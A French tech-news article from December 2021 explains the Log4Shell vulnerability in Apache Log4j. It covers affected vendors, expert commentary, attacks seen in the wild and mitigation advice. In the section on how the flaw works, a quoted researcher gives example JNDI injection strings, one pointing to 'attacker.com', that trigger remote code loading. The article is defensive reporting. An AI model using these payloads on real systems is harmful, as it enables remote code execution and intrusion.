Secu
La faille Log4Shell affole la toile… Et devrait aussi vraiment interpeler tous les DSI…
Par Laurent Delattre, publié le 14 décembre 2021
Panique générale sur le Net… L’une des bibliothèques open source les plus utilisées dans le monde, présente dans bien des logiciels d’infrastructure, est victime d’une faille zero-day d’autant plus dangereuse qu’elle est très simple à exploiter. Oui, les DSI ont de quoi être très inquiets…
Akamai, Apache, AppDynamics, Apigee, Ariba, Arista, Atlassian, BitDefender, Boomi, BMC, CarbonBlack, CheckPoint, Citrix, CyberArk, CyberReason, Docker, DynaTrace, Eset, Extreme Networks, F5, Fastly, Fortinet, GitHub, GitLab, HCL, Hitachi, HPE, Huawei, IBM, Imperva, Informatica, Jenkins, JFrog, Kaseya, McAfee, Micro-Focus, Microsoft, Mulesoft, Neo4j, NetApp, NewRelic, Nutanix, Okta, Oracle, Palo-Alto, Pega, ProofPoint, Puppet, Pure Storage, Qlik, Quast KACE, RedHatn RSA, Rubrik, Salesforce, SAP, SAS, ServiceNow, Siemens, Software AG, SolarWinds, SonicWall, Sophos, Splunk, Synology, SysAid, SysDig, Talend, TealiumIQ, TP-Link, Trend Micro, Ubuntu, Varonis, Veritas, Veeam, VMware, WatchGuard, Zimbra, Zscaler… 48 heures après sa découverte, la liste des logiciels vulnérables à la faille zero day « Log4Shell » est interminable… Et pourtant elle ne comporte que des acteurs qui ont déjà réagi et corrigé leurs logiciels !
Car la nouvelle faille CVE-2021-44228 rendue publique vendredi 10 décembre affecte l’un des composants open source les plus utilisés dans le monde : la bibliothèque de journalisation Log4J d’Apache.
Pourquoi s’inquiéter ?
« Des logiciels tels que VMWare, WebEx et PulseSecure VPN étant affectés, cela peut entraîner des temps d’arrêt et des perturbations pendant que des mesures d’atténuation sont prises. Comme la vulnérabilité a été exploitée pendant plusieurs jours déjà, les équipes de sécurité doivent analyser si elles ont été compromises et si une porte dérobée a été installée par les attaquants. Les attaques vont des nuisances – comme les mineurs de crypto-monnaies – aux backdoors et aux ransomwares, qui peuvent compromettre l’ensemble de l’organisation » alerte Candid Wuest, VP de la recherche sur la cyberprotection chez Acronis.
Pour Satnam Narang, ingénieur de recherche chez Tenable « la vulnérabilité d’exécution de code à distance d’Apache Log4j est la plus grande et la plus critique des vulnérabilités de la dernière décennie. Lorsque toutes les recherches seront terminées, nous apprendrons peut-être qu’il s’agit de la plus grande vulnérabilité de l’histoire de l’informatique moderne ».
Un défi de taille
Le problème de cette faille est double :
– d’abord elle est critique car elle permet l’exécution à distance de codes sans authentification.
– ensuite elle est très simple à mettre en œuvre.
Autrement dit, pour les RSSI et autres responsables de la sécurité, la faille Log4Shell doit être perçue comme une urgence absolue et nécessite toute leur attention.
« La vulnérabilité Log4Shell présente un nouveau type de défi pour les défenseurs. De nombreuses vulnérabilités logicielles se limitent à un produit ou une plateforme spécifique, par exemple les failles ProxyLogon et ProxyShell dans Microsoft Exchange. Une fois connu le logiciel vulnérable, les défenseurs peuvent alors le vérifier et le corriger. Or Log4Shell est une bibliothèque utilisée par un grand nombre de produits. Sa vulnérabilité peut donc être présente au plus profond de l’infrastructure d’une entreprise, notamment dans tout logiciel développé en interne. La recherche de tous les systèmes vulnérables à cause de Log4Shell doit donc constituer une priorité pour la sécurité informatique » explique Sean Gallagher, chercheur senior en menaces chez Sophos.
Comment fonctionne-t-elle et que risque-t-on ?
« S’il vous plaît, ne changez pas le nom de votre Tesla ou de votre iPhone en ${jndi:ldap://url/a} …. vous risqueriez d’obtenir un résultat assez inattendu », explique Erka Koivunen, Chief Information Security Officer chez F-Secure. « L’utilisation du langage de formatage de Log4J peut déclencher du code dans des applications vulnérables, partout dans le monde. La simple commande “${jndi:ldap://attacker.com/pwnyourserver}” dans un chat Minecraft sur un système non patché a, par exemple, entraîné une véritable crise de sécurité chez Microsoft ».
Log4j est tellement répandu dans les applications Web côté Backend que toute la planète Internet est en émoi. Il suffit d’un texte savamment écrit dans un chat, un blog, un message, un fichier de configuration type « Robot.txt », pour qu’un système soit compromis !
« La vulnérabilité de log4shell (CVE-2021-44228) fonctionne parce que l’application permet de charger des valeurs dynamiques via l’interface JNDI (Java Naming and Directory Interface). Ces données ne sont pas correctement validées et peuvent permettre à un attaquant distant d’envoyer des commandes arbitraires, qui seront ensuite exécutées sur le système. Dans le pire des cas, cela peut installer une porte dérobée, qui accordera un accès complet au système à l’attaquant » déchiffre Candid Wuest.
De son côté Sophos donne un aperçu des premières attaques déjà menées à grande échelle ‘in the wild’. Sean Gallagher explique que « depuis le 9 décembre, Sophos a détecté des centaines de milliers de tentatives d’exécution à distance de code exploitant la vulnérabilité Log4Shell. Au départ, il s’agissait de tests de type « preuve de concept » réalisés par des chercheurs en sécurité et des assaillants potentiels, entre autres, ainsi que de nombreux scans en ligne de la vulnérabilité. Ces tests ont été rapidement suivis de tentatives d’installation de mineurs de cryptomonnaie, notamment le botnet de minage Kinsing. Les informations les plus récentes laissent penser que les auteurs des attaques essaient d’exploiter la vulnérabilité afin de révéler les clés utilisées par des comptes AWS. Des signes indiquent également que des assaillants tentent de s’en servir pour installer des outils d’accès distant sur les réseaux de leurs victimes, dont peut être Cobalt Strike, un élément essentiel dans de nombreuses attaques de ransomwares. »
Comment y remédier ?
Pour Jonathan Tanner, Senior Security Researcher chez Barracuda « la première chose à vérifier est de savoir si une version de log4j antérieure à la 2.15.0 est utilisée, y compris dans les dépendances. Même doté d’une version 2.15.0 ou supérieure, il convient de vérifier que la propriété système « formatMsgNoLookups » n’est pas définie sur « true » : cette version n’est pas vulnérable uniquement parce qu’elle a défini la valeur par défaut de cette propriété de true à false. Dans certaines versions de log4j, cette propriété peut simplement être définie à « false » manuellement pour atténuer la vulnérabilité. Si l’application ne nécessite pas LDAP dans le cadre de son utilisation légitime, il est également possible de bloquer tout le trafic LDAP à l’aide d’un pare-feu ou d’un filtre d’application Web afin d’empêcher l’accès au code distant en cas d’exploitation de la vulnérabilité. Cependant, ces mesures ne font que vérifier si log4j est capable ou non d’utiliser cette vulnérabilité RCE. Savoir si un système est réellement vulnérable à une attaque est une question beaucoup plus compliquée sans un test type HeartBleed ».
Très réactif et pratique, l’éditeur CyberReason a publié un « vaccin » en open source. Ce dernier exploite justement la faille et sa capacité à exécuter du code pour corriger le bug de Log4j incriminé ! C’est bien vu, mais cela demande quand même d’agir avec prudence !
Pour se prémunir contre cette nouvelle vulnérabilité, les experts de Kaspersky recommandent de leur côté d’installer la version la plus récente (2.15.0) de la bibliothèque, de suivre les directives du projet Apache Log4j, d’utiliser une solution de sécurité qui fournit des fonctionnalités de prévention des exploits et de gestion des vulnérabilités, d’utiliser des solutions EDR qui permettent d’identifier et de stopper l’attaque à un stade précoce, avant que les attaquants n’atteignent leurs objectifs finaux.
Le CERT-FR préconise également « de filtrer les flux sortants des serveurs pour les limiter aux seuls flux autorisés vers des services de confiance et de prendre contact avec les éditeurs pour vérifier s’ils sont exposés et si un correctif est disponible ». Le CERT-FR rappelle également que « la mise à jour d’un produit ou d’un logiciel est une opération délicate qui doit être menée avec prudence. Il est notamment recommandé d’effectuer des tests autant que possible. Des dispositions doivent également être prises pour garantir la continuité de service en cas de difficultés lors de l’application des mises à jour comme des correctifs ou des changements de version ».
Quelques liens utiles
– Une vue technique : Log4Shell : JNDI Injection via Attackable Log4J | ShiftLeft Blog
– Un guide de détection : How To Detect and Mitigate the Log4Shell Vulnerability | LunaSec
– Alerte du CERT France : [MaJ] Vulnérabilité dans Apache Log4j – CERT-FR (ssi.gouv.fr)
– Une liste d’indicateurs de compromission : GitHub – curated-intel/Log4Shell-IOCs
– Les directives de remédiation par Apache Log4j : https://logging.apache.org/log4j/2.x/security.html
– Une liste de correctifs déjà disponibles pour vos logiciels : BlueTeam CheatSheet * Log4Shell*
